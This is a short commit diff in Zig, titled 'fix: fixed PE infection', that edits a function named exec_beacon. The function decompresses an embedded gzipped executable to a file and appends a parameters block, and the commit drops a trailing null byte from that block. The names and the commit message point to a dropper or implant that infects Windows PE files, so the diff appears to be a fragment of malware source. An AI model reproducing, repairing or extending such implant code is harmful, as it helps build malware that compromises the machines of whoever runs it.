fix: fixed PE infection
This commit is contained in:
@@ -22,10 +22,9 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
|
||||
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
|
||||
|
||||
var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
|
||||
var params_buffer: [@sizeOf(Parameters)]u8 = undefined;
|
||||
const params_input_ptr: [*]u8 = @ptrCast(parameters);
|
||||
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
|
||||
params_buffer[@sizeOf(Parameters)] = 0;
|
||||
|
||||
try exe_file.writer().writeAll(¶ms_buffer);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user